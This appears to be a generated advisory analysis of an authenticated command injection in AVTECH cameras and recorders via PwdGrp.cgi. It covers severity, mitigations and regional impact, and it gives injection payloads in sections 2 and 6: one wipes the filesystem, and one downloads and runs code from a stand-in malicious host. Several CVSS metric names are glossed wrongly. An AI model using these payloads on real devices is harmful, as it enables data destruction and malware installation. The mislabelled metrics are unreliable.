EUVD-2025-19642

Comprehensive Technical Analysis of EUVD-2025-19642

1. Vulnerability Assessment and Severity Evaluation

The vulnerability described in EUVD-2025-19642 is an OS command injection flaw affecting AVTECH IP camera, DVR, and NVR devices. This vulnerability allows authenticated users to execute arbitrary shell commands with root privileges via the PwdGrp.cgi endpoint, which handles user and group management operations. The Base Score of 9.4, as per CVSS 4.0, indicates a critical severity level. The vector string CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H highlights the following:

• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) - The attack requires minimal skill or resources.
• Authentication (AT): None (N) - No additional authentication is required beyond the initial access.
• Privileges Required (PR): Low (L) - The attacker needs low-level privileges.
• User Interaction (UI): None (N) - No user interaction is required.
• Confidentiality (VC), Integrity (VI), Availability (VA), Scope Change (SC), Scope Integrity (SI), Scope Availability (SA): High (H) - All impact metrics are high, indicating severe consequences.

2. Potential Attack Vectors and Exploitation Methods

The primary attack vector involves authenticated users exploiting the PwdGrp.cgi endpoint by injecting malicious input into the pwd or grp parameters. This input is not properly sanitized, allowing for the execution of arbitrary shell commands. Potential exploitation methods include:

• Direct Command Injection: Crafting specific payloads to execute commands such as rm -rf / to delete files or wget http://malicious.server/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload to download and execute malware.
• Privilege Escalation: Using the vulnerability to gain root access and perform actions that require higher privileges.
• Data Exfiltration: Extracting sensitive data from the device or network.

3. Affected Systems and Software Versions

The vulnerability affects AVTECH IP camera, DVR, and NVR devices. Specific software versions are not mentioned, but it is implied that all versions prior to the patch release are vulnerable. Organizations using AVTECH devices should assume they are affected unless explicitly stated otherwise by the vendor.

4. Recommended Mitigation Strategies

To mitigate this vulnerability, the following strategies are recommended:

• Patch Management: Immediately apply the latest firmware updates provided by AVTECH.
• Access Control: Restrict access to the PwdGrp.cgi endpoint to trusted users only.
• Input Validation: Implement additional input validation and sanitation mechanisms to prevent command injection.
• Network Segmentation: Isolate affected devices on a separate network segment to limit potential damage.
• Monitoring and Logging: Enhance monitoring and logging to detect and respond to suspicious activities.

5. Impact on European Cybersecurity Landscape

The vulnerability poses a significant risk to European organizations using AVTECH devices, particularly in sectors such as surveillance, security, and smart cities. The potential for unauthorized access, data breaches, and service disruptions could have far-reaching implications, including:

• Compliance Issues: Non-compliance with GDPR and other regulatory frameworks due to data breaches.
• Operational Disruptions: Compromised devices could lead to operational disruptions and financial losses.
• Reputation Damage: Organizations may suffer reputational damage due to security incidents.

6. Technical Details for Security Professionals

For security professionals, the following technical details are crucial:

• Endpoint Analysis: The PwdGrp.cgi endpoint is the primary point of exploitation. Security teams should focus on securing this endpoint.
• Payload Examples: Example payloads for testing and detection include:
  • pwd=;rm -rf /
  • grp=;wget http://malicious.server/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload
• Detection Mechanisms: Implement Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) to detect and block malicious payloads.
• Incident Response: Develop an incident response plan specific to command injection vulnerabilities, including steps for containment, eradication, and recovery.

Conclusion

The OS command injection vulnerability in AVTECH devices is critical and requires immediate attention. Organizations should prioritize patching affected devices, implementing robust access controls, and enhancing monitoring capabilities to mitigate risks. The European cybersecurity landscape must remain vigilant against such vulnerabilities to ensure the integrity and security of critical infrastructure.

References

• Exploit Database
• AVTECH Official Website
• Search-Lab Advisories
• GitHub Repository
• VulnCheck Advisories